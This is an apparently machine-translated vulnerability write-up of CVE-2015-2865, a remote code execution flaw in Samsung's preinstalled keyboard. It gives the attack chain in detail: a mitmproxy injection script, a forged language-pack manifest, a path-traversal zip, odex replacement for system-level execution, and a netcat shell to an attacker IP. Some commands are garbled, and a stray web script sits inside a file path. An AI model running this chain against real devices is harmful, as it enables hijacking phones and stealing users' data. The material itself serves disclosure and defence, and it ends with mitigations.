Samsung Default Input Method Remote Code Execution
Remote Code Execution as System User on Samsung PhonesSummary allows attackers to remotely execute Code and have system privileges by using the update method provided by Samsung to hijack your network.
The Swift input method is pre-installed on Samsung mobile phones and cannot be uninstalled or disabled. This vulnerability can be exploited even if the default input method is modified.
CVE-2015-2865
Possible hazards:
Attackers can obtain sensors and resources, such as GPS, cameras, and microphones. They can silently install malware to tamper with apps or use mobile phones to intercept calls or use text messages to steal personal sensitive data, such as photos or text messages. How it Works
Mobile phone manufacturers (OEMs) and carriers (carriers) often pre-install third-party applications on devices, and these applications often have high permissions, such as the Swift input method pre-installed by Samsung.
➜ /tmp aapt d badging SamsungIME.apk | head -3 package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0' sdkVersion:'18' targetSdkVersion:'19' ➜ /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
The above information indicates that the input method is signed by a Samsung system certificate, and the system permission is only inferior to the root permission.
Accessibility
The attack vector of this vulnerability requires attackers to tamper with upstream network traffic. After the input method starts to upgrade, the vulnerability will be automatically triggered after the device restarts (no interaction is required ). the big pineapple/pseudo base station can be used at close distance, and arp attacks can be used in the same LAN. DNS hijacking or hijacking of vrouters/carriers can be used remotely... (It's all so embarrassing ...)
The entire test process is carried out in a linux virtual machine with a USB Nic. All http traffic is transparently routed to mitmproxy, and then the injection attack load is generated through scripts.
Discovery of the Vulnerability
The Swift input method has an update function that allows you to add a new Language Pack to existing languages. When you download a new Language Pack, the following request is made:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms
After downloading the compressed package, it will be decompressed to the following directory:
/data/data/com.sec.android.inputmethod/app_SwiftKey/
/.
Compressed Package content:
root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json
We can see that the files in the compressed package are written by the system user. The permission is very high, and many locations can be written. Because the compressed package and request are in plain text, we can try to tamper with it.
You can use the wifi proxy to complete this attempt and write a script to improve efficiency. The script is used to modify the script when a request for a Language Pack is sent.
def request(context, flow): if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"): return resp = HTTPResponse( [1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "helloworld") with open('test_language.zip', 'r') as f: payload = f.read() resp.content = payload resp.headers["Content-Length"] = [len(payload)] flow.reply(resp)
Payload is very simple, just a file
➜ /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file
View/data/com. sec. android. inputmethod/app_SwiftKey/directory. No Language Pack and test files are found. this indicates that the app verifies the validity of the compressed package. after multiple tests, it is found that a configuration file containing the SHA1 hash of all language packs/url path/zip is downloaded before the package is downloaded.
The request is as follows:
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms]
Request this configuration file:
➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
The server returns a list containing the language/url/sha1. The English payload is as follows:
{ "name": "English (US)", "language": "en", "country": "US", "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032", "version": 13, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip", "live": { "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c", "version": 1181, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip" } }
The SHA1 of the modified compressed package is not in this configuration file. the configuration file is not securely transmitted (encryption/signature ...), therefore, if SHA1 is calculated and a configuration file is forged, the above verification can be bypassed. try to add directory traversal in payload to write/data /. directory (this directory requires system access ).
Payload is as follows:
➜ samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ../../../../../../../../data/payload --------- ------- 5 1 file
After the above attempt is made, the file is successfully written.
➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload" -rw------- system system 5 2014-08-22 16:07 payload
File write to code execution
Now we have the arbitrary write permission for the system user. the next goal is to change the write permission to code execution. the Directory of the Swift input method does not have executable binary files for us to overwrite. so you have to find another one.
After the dex file is optimized, the file will be cached in the/data/dalvik-cache/directory. all files in this directory have the system user permission. now you need to find the files in the system group so that they can be executed with the system user permission.
Root @ kltevzw:/data/dalvik-cache #/data/local/tmp/busybox find. -type f-group 1000. /system @ framework@colorextractionlib.jar @ classes. dex. /system @ framework@com.google.android.media.effects.jar @ classes. dex. /system @ framework@com.google.android.maps.jar @ classes. dex. /system@framework@VZWAPNLib.apk @ classes. dex. /system @ framework@cneapiclient.jar @ classes. dex. /system @ framework@com.samsung.device.jar @ classes. dex. /system @ framework@com.quicinc.cne.jar @ classes. dex. /system @ framework@qmapbridge.jar @ classes. dex. /system @ framework@rcsimssettings.jar @ classes. dex. /system @ framework@rcsservice.jar @ classes. dex. /system@priv-app@DeviceTest.apk @ classes. dex
Select an automatically called component from the preceding file. ideally, only the target is replaced for the entire odex file. finally, select DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk @ classes. dex) as the target.
View the manifest file after decompiling. You can see that the application does have sharedUserId = "android. id. system", and the BroadcastReceiver definition. Activate it to automatically restart the device.
<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android"> ... <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /> <data android:scheme="file" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PACKAGE_CHANGED" /> <data android:scheme="package" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PRE_BOOT_COMPLETED" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> <intent-filter> <action android:name="com.sec.atd.request_reconnect" /> <action android:name="android.intent.action.CSC_MODEM_SETTING" /> </intent-filter> </receiver>
Now we need to generate an odex file for com. sec. factory. entry. FactoryTestBroadcastReceiver. The exploit code is as follows:
➜cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }
After creating the payload, we can use the DalvikExchange (dx) tool to compile and run it to obtain a dalvik byte code. jar file. perform some optimization and push the jar to the device to generate odex.
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver
The directory where the cached file is located. The shell Permission is readable.
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l -rw-r--r-- shell shell 3024 2014-07-18 14:09 data@local@tmp@payload.jar/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@classes.dex
After the payload is injected into our Language Pack, the download is triggered and restarted.
D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
As part of the. ODEX header, it stores the modification time of CRC32 and classes. dex. It is based on the zip file structure table of the original APK:
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file
You need to pull these two information from the zip file to patchthe the loaded dex file, so that it looks like it was generated from the original devicetest.apk. note that CRC32 and file modification time cannot be used as a security mechanism. you need to know that the application needs to update only when it updates all the caches.
The Patching ODEX file triggers the vulnerability, and then the payload will be executed. Because it is a test, only shell is played here.
nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
Note that the odex load is generated for a specific Samsung device. that is to say, different system versions of different devices/devices must generate odex loads separately. fortunately, the Swift input method provides this information in the http UA ..
'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'
Mitigations
A device with root permission can uninstall this input method.
adb shell pm list packages -f |grep IME
Find the file and switch to the root permission to enter the directory to delete the file. or disable the input method.
Pm disable com. sec. android. inputmethod // This may also be called: com. samsung. inputmethod
Devices that do not have the root permission can be upgraded as soon as possible after receiving the OTA.
If Samsung does not push updates to your device, try not to add some unfamiliar wifi devices. If cousin wants to beat you, you cannot stop it.
Device
July 16, statistics on affected devices (all of which belong to the US Emperor operator)